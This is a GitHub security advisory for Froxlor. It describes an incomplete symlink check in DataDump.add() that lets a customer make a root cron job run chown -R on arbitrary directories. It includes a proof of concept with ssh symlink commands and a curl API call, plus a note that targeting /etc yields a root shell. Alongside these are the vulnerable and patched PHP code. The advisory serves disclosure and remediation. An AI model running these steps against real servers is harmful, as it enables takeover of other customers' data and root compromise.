GHSA-75H4-C557-J89R
Vulnerability from github – Published: 2026-04-16 00:47 – Updated: 2026-04-16 00:47Summary
DataDump.add() constructs the export destination path from user-supplied input without passing the $fixed_homedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.
Details
The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixed_homedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).
Every customer-facing API command that builds a path from user input passes this parameter:
// DirProtections.php:87
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// DirOptions.php:96
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// Ftps.php:178
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
// SubDomains.php:585
return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
But DataDump.add() was missed:
// DataDump.php:88 — NO $fixed_homedir parameter
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):
Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);
When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:
FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.
The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]*$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.
PoC
Prerequisites:
- system.exportenabled = 1 (admin setting)
- Customer account with API key and FTP/SSH access
# Step 1: Create a symlink inside the customer's docroot pointing to a victim directory
# (customer has FTP/SSH access to their own docroot)
ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal'
# Step 2: Schedule data export via API with path pointing to the symlink
curl -X POST \
-H "Content-Type: application/json" \
-d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \
https://panel.example.com/api.php
# Expected response: 200 OK with task_data including destdir
# Step 3: Wait for ExportCron to run (hourly cron as root)
# The cron executes:
# mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists)
# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data)
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/'
# mv export.tar.gz '/var/customers/webs/attacker_customer/steal/'
# chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/'
#
# The final chown resolves the symlink and recursively chowns
# /var/customers/webs/victim_customer/ to the attacker's UID/GID.
# Step 4: Attacker now owns all of victim's web files
ssh customer@server 'ls -la /var/customers/webs/victim_customer/'
# All files now owned by attacker_customer UID
# For system-level escalation, the symlink can target /etc:
# ln -s /etc /var/customers/webs/attacker_customer/steal
# After cron: attacker owns /etc/passwd, /etc/shadow → root shell
Impact
- Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server.
- Vertical privilege escalation: By targeting system directories (e.g.,
/etc), the customer can gain read/write access to/etc/passwdand/etc/shadow, enabling creation of a root account or password modification. - Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.
- Service disruption: Changing ownership of system directories can break system services.
The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.
Recommended Fix
Pass $customer['documentroot'] as the $fixed_homedir parameter in DataDump.add(), consistent with every other API command:
// lib/Froxlor/Api/Commands/DataDump.php, line 88
// Before (vulnerable):
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);
// After (fixed):
$path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);
Additionally, the ExportCron should use chown -h (no-dereference) or validate the destination path is not a symlink before executing chown -R:
// lib/Froxlor/Cron/System/ExportCron.php, line 232
// Add symlink check before chown
if (is_link(rtrim($data['destdir'], '/'))) {
$cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']);
} else {
FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T00:47:18Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.\n\n## Details\n\nThe vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer\u0027s home directory (lines 134-157 of `lib/Froxlor/FileDir.php`).\n\nEvery customer-facing API command that builds a path from user input passes this parameter:\n\n```php\n// DirProtections.php:87\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path, $customer[\u0027documentroot\u0027]);\n\n// DirOptions.php:96\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path, $customer[\u0027documentroot\u0027]);\n\n// Ftps.php:178\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path, $customer[\u0027documentroot\u0027]);\n\n// SubDomains.php:585\nreturn FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path, $customer[\u0027documentroot\u0027]);\n```\n\nBut `DataDump.add()` was missed:\n\n```php\n// DataDump.php:88 \u2014 NO $fixed_homedir parameter\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path);\n```\n\nThe path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`):\n\n```php\nCronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data);\n```\n\nWhen `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`:\n\n```php\nFileDir::safe_exec(\u0027chown -R \u0027 . (int)$data[\u0027uid\u0027] . \u0027:\u0027 . (int)$data[\u0027gid\u0027] . \u0027 \u0027 . escapeshellarg($data[\u0027destdir\u0027]));\n```\n\nThe `chown -R` command follows symlinks in its target argument. If `$data[\u0027destdir\u0027]` resolves through a symlink to an arbitrary directory, the attacker\u0027s UID/GID is applied recursively to that directory and all its contents.\n\nThe `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\\r\\n\\t\\f\\0]*$/D` \u2014 this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks.\n\n## PoC\n\nPrerequisites:\n- `system.exportenabled` = 1 (admin setting)\n- Customer account with API key and FTP/SSH access\n\n```bash\n# Step 1: Create a symlink inside the customer\u0027s docroot pointing to a victim directory\n# (customer has FTP/SSH access to their own docroot)\nssh customer@server \u0027ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal\u0027\n\n# Step 2: Schedule data export via API with path pointing to the symlink\ncurl -X POST \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"header\":{\"apikey\":\"CUSTOMER_API_KEY\",\"secret\":\"CUSTOMER_API_SECRET\"},\"body\":{\"command\":\"DataDump.add\",\"params\":{\"path\":\"steal\",\"dump_web\":\"1\"}}}\u0027 \\\n https://panel.example.com/api.php\n\n# Expected response: 200 OK with task_data including destdir\n\n# Step 3: Wait for ExportCron to run (hourly cron as root)\n# The cron executes:\n# mkdir -p \u0027/var/customers/webs/attacker_customer/steal/\u0027 (follows symlink, dir exists)\n# tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker\u0027s web data)\n# chown -R \u003cattacker_uid\u003e:\u003cattacker_gid\u003e \u0027/var/customers/webs/attacker_customer/steal/.tmp/\u0027\n# mv export.tar.gz \u0027/var/customers/webs/attacker_customer/steal/\u0027\n# chown -R \u003cattacker_uid\u003e:\u003cattacker_gid\u003e \u0027/var/customers/webs/attacker_customer/steal/\u0027\n#\n# The final chown resolves the symlink and recursively chowns\n# /var/customers/webs/victim_customer/ to the attacker\u0027s UID/GID.\n\n# Step 4: Attacker now owns all of victim\u0027s web files\nssh customer@server \u0027ls -la /var/customers/webs/victim_customer/\u0027\n# All files now owned by attacker_customer UID\n\n# For system-level escalation, the symlink can target /etc:\n# ln -s /etc /var/customers/webs/attacker_customer/steal\n# After cron: attacker owns /etc/passwd, /etc/shadow \u2192 root shell\n```\n\n## Impact\n\n- **Horizontal privilege escalation:** A customer can take ownership of any other customer\u0027s web files, databases exports, and email data on the same server.\n- **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification.\n- **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data.\n- **Service disruption:** Changing ownership of system directories can break system services.\n\nThe attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.\n\n## Recommended Fix\n\nPass `$customer[\u0027documentroot\u0027]` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command:\n\n```php\n// lib/Froxlor/Api/Commands/DataDump.php, line 88\n// Before (vulnerable):\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path);\n\n// After (fixed):\n$path = FileDir::makeCorrectDir($customer[\u0027documentroot\u0027] . \u0027/\u0027 . $path, $customer[\u0027documentroot\u0027]);\n```\n\nAdditionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`:\n\n```php\n// lib/Froxlor/Cron/System/ExportCron.php, line 232\n// Add symlink check before chown\nif (is_link(rtrim($data[\u0027destdir\u0027], \u0027/\u0027))) {\n $cronlog-\u003elogAction(FroxlorLogger::CRON_ACTION, LOG_ERR, \u0027Export destination is a symlink, skipping chown for security: \u0027 . $data[\u0027destdir\u0027]);\n} else {\n FileDir::safe_exec(\u0027chown -R \u0027 . (int)$data[\u0027uid\u0027] . \u0027:\u0027 . (int)$data[\u0027gid\u0027] . \u0027 \u0027 . escapeshellarg($data[\u0027destdir\u0027]));\n}\n```",
"id": "GHSA-75h4-c557-j89r",
"modified": "2026-04-16T00:47:18Z",
"published": "2026-04-16T00:47:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Froxlor has Incomplete Symlink Validation in DataDump.add() Allows Arbitrary Directory Ownership Takeover via Cron"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.